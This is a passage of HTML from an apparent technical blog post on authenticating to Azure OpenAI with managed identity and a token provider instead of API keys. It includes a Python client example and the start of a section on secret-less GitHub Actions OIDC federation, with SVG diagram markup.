style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"the-python-implementation-v1x\"\u003eThe Python Implementation (v1.x)\u003c/h3\u003e\n\u003cp\u003eFirst, ensure you have the necessary packages: \u003ccode\u003epip install azure-identity openai\u003c/code\u003e. In production, \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e uses the Managed Identity. In local development, it falls through to your Azure CLI login (\u003ccode\u003eaz login\u003c/code\u003e). You get the same code path in both environments.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e os\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e azure.identity \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e DefaultAzureCredential, get_bearer_token_provider\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e openai \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e AzureOpenAI\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Create the token provider for the Cognitive Services audience\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etoken_provider \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e get_bearer_token_provider(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    DefaultAzureCredential(), \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://cognitiveservices.azure.com/.default\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Initialize the client without an api_key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eclient \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e AzureOpenAI(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    azure_ad_token_provider\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003etoken_provider,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    azure_endpoint\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eos\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003egetenv(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;AZURE_OPENAI_ENDPOINT\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    api_version\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2024-02-15-preview\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-cicd-federation-secret-less-github-actions\"\u003e5. CI/CD Federation: Secret-less GitHub Actions\u003c/h2\u003e\n\u003cp\u003eGitHub Actions supports OIDC federation, letting your workflows authenticate to Azure without a client secret. The setup is two steps. Both are easy to miss.\u003c/p\u003e\n\u003ch3 id=\"github-actions-oidc-federation-flow\"\u003eGitHub Actions OIDC Federation Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 672 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 312,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,128 L 312,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,176 L 552,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,16 L 320,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,88 L 320,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,128 L 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,176 L 320,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,16 L 560,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,128.000000 92.000000,122.400002 92.000000,133.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,48.000000 308.000000,42.400002 308.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='560.000000,176.000000 548.000000,170.399994 548.000000,181.600006' fill='currentColor' transform='rotate(0.000000, 552.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' 